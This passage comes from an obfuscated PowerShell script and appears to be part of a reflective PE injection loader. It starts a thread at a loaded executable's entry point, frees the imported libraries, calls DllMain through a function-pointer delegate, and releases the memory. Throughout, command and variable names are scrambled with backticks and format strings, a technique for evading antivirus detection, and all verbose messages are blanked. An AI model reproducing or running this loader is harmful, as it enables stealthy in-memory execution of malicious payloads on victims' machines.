${OverWRItTen`ME`m`iNfO} = &("{3}{2}{0}{1}{4}" -f 'E','xeFu','te-','Upda','nctions') -PEInfo ${p`eiN`FO} -Win32Functions ${WIN3`2fu`N`CT`Ions} -Win32Constants ${win3`2`coN`sT`AnTs} -ExeArguments ${EX`EA`RGS} -ExeDoneBytePtr ${eXeDO`N`ebYT`EpTr}
[IntPtr]${eXe`mA`i`NPtR} = &("{1}{3}{2}{0}{4}"-f's','Add-S','edIntAsUn','ign','igned') (${P`E`iNFO}."pehaNd`le") (${p`EIN`Fo}."ImAg`E`_NT_`h`eAdeRs"."OptI`o`NALHEAD`er"."aDd`RessOF`en`Tr`Y`POINT")
&("{1}{2}{0}{3}" -f'e-Verbos','W','rit','e') ""
${w`in3`2f`UNctiONs}."crEATET`hR`EAd"."IN`V`OKe"([IntPtr]::"z`erO", [IntPtr]::"Ze`RO", ${EXe`MA`in`PtR}, [IntPtr]::"Z`ero", ([UInt32]0), [Ref]([UInt32]0)) | &("{1}{2}{0}"-f 'ull','O','ut-N')
while(${TR`UE})
{
[Byte]${t`HreADdO`NE} = [System.Runtime.InteropServices.Marshal]::"rEAdB`y`TE"(${EXEdO`NEB`ytEpTR}, 0)
if (${thRE`AD`dONE} -eq 1)
{
&("{3}{4}{0}{1}{2}" -f'Mem','Addresse','s','Copy-Arr','ayOf') -CopyInfo ${O`VERwRiT`Te`NMeM`i`Nfo} -Win32Functions ${w`iN32`FUNCTi`o`NS} -Win32Constants ${W`In32cONS`TAnTs}
&("{1}{2}{0}"-f'Verbose','Wri','te-') ""
break
}
else
{
&("{0}{1}{2}" -f'Start-','S','leep') -Seconds 1
}
}
}
return @(${P`e`InfO}."peH`ANdLe", ${e`F`FEctiVePE`hAN`dLE})
}
Function iNvokE`-Me`MoryF`Re`eli`BrARy
{
Param(
[Parameter(pOSition=0, MAnDATOry=${T`RUe})]
[IntPtr]
${pE`hAn`DLE}
)
${Wi`N`32Co`N`sTAnTS} = &("{2}{1}{4}{5}{3}{0}"-f 'Constants','e','G','2','t','-Win3')
${wIN`32`F`UnCtiOns} = &("{2}{3}{0}{1}"-f'unc','tions','Get-','Win32F')
${wi`N3`2typeS} = &("{0}{1}{2}{3}{4}" -f'G','e','t-','Win32Type','s')
${PE`Info} = &("{2}{1}{0}{3}" -f 'tailedInf','-PEDe','Get','o') -PEHandle ${PeHAnD`lE} -Win32Types ${wiN32TY`P`Es} -Win32Constants ${W`iN`32CO`NS`TANTS}
if (${P`eInfO}."iMa`gE_`Nt_HE`AdErS"."o`PtiO`NaL`HEaDer"."IMp`oR`TtaBle"."s`Ize" -gt 0)
{
[IntPtr]${IM`pOrt`DEscRIpToR`p`Tr} = &("{1}{2}{0}{3}{5}{4}" -f 'dIntA','A','dd-Signe','s','ed','Unsign') ([Int64]${pe`in`Fo}."pEhAnd`Le") ([Int64]${pei`N`FO}."im`AGe_n`T_HeAd`E`RS"."OPti`ON`AlHeA`D`er"."ImpoRt`TAB`Le"."VIRTUaLADdR`e`ss")
while (${tr`Ue})
{
${i`m`Portde`Scri`ptOr} = [System.Runtime.InteropServices.Marshal]::"pT`RtosT`R`UcTUrE"(${iMPoRTDE`SCr`ipt`or`p`TR}, [Type]${W`in3`2Ty`PEs}."iM`A`GE_iMpoRt_desCR`IPT`Or")
if (${i`mpOrt`DE`SCripT`OR}."c`haRAcT`eRI`S`TicS" -eq 0 `
-and ${iM`PO`R`TdeSC`RIPToR}."f`IR`Stt`HUNk" -eq 0 `
-and ${Im`PortD`esC`RiP`T`oR}."foRWarDERch`A`IN" -eq 0 `
-and ${I`mp`ortDE`scrIP`TOr}."nA`Me" -eq 0 `
-and ${im`pO`R`TdesC`R`IptOR}."TI`MEd`ATeS`T`AmP" -eq 0)
{
&("{0}{1}{2}" -f'W','rit','e-Verbose') ""
break
}
${Im`P`oRTDLL`PA`TH} = [System.Runtime.InteropServices.Marshal]::"pT`RtOStr`I`Nga`NSI"((&("{3}{1}{2}{4}{0}"-f'd','d-Si','gned','Ad','IntAsUnsigne') ([Int64]${P`eINfo}."PehA`NdLe") ([Int64]${iMP`ORTd`ESC`RiPt`OR}."N`AME")))
${I`Mp`oRtdLlh`AndLE} = ${WI`N3`2Fu`Nc`TIoNS}."ge`T`m`ODulehanD`LE"."IN`VOKE"(${ImP`OrTDll`Pa`Th})
if (${im`pOrTdl`lh`An`Dle} -eq ${nu`Ll})
{
&("{1}{0}{2}" -f'rite-W','W','arning') "" -WarningAction ("{0}{1}{2}"-f 'Cont','i','nue')
}
${sU`C`ceSS} = ${w`In`32FUN`CTions}."f`Re`ElIbrary"."iN`Vo`ke"(${ImPor`TdLLha`N`dlE})
if (${sUCcE`ss} -eq ${f`AL`se})
{
&("{0}{3}{2}{1}" -f'Write','g','in','-Warn') "" -WarningAction ("{2}{0}{1}"-f'tin','ue','Con')
}
${Im`PORtDEsc`RIPT`Or`Ptr} = &("{1}{0}{3}{2}" -f'-SignedIntA','Add','gned','sUnsi') (${iMpOrTD`eScRIPT`O`Rptr}) ([System.Runtime.InteropServices.Marshal]::"SiZe`Of"([Type]${Win32T`yP`ES}."i`mAge_iM`poRt`_deS`criPtOR"))
}
}
&("{3}{1}{2}{0}" -f'erbose','r','ite-V','W') ""
${dlLMAIN`p`Tr} = &("{5}{6}{0}{2}{1}{4}{3}" -f'nedIn','sUnsi','tA','ed','gn','Add-S','ig') (${Pe`INfo}."pEhan`dlE") (${pe`iN`Fo}."i`mAGE_N`T`_HEadE`Rs"."OPTiOn`AL`He`ADer"."a`ddRe`S`S`ofenTryPo`inT")
${dlL`MaIND`eleGaTE} = &("{3}{2}{1}{0}"-f'eType','gat','Dele','Get-') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
${dLlM`A`in} = [System.Runtime.InteropServices.Marshal]::"GET`DEl`eG`AT`e`Fo`Rfu`Ncti`ONPOintEr"(${d`lLm`Ai`NPtr}, ${dllmA`iN`DeL`eGa`TE})
${dLL`ma`IN}."iNv`OKE"(${Pe`I`NFo}."Pehan`dLE", 0, [IntPtr]::"zE`Ro") | &("{1}{2}{0}"-f'll','O','ut-Nu')
${S`Uc`CESS} = ${W`iN32F`U`NctiO`Ns}."VI`RT`UAl`FRee"."in`VO`kE"(${pE`Ha`NdLe}, [UInt64]0, ${w`iN3`2cOn`sTA`NtS}."Mem_R`ELE`ASE")
if (${sUC`c`Ess} -eq ${FaL`se})
{
&("{1}{3}{2}{0}"-f'ng','Writ','rni','e-Wa') "" -WarningAction ("{1}{0}"-f 'nue','Conti')
}
}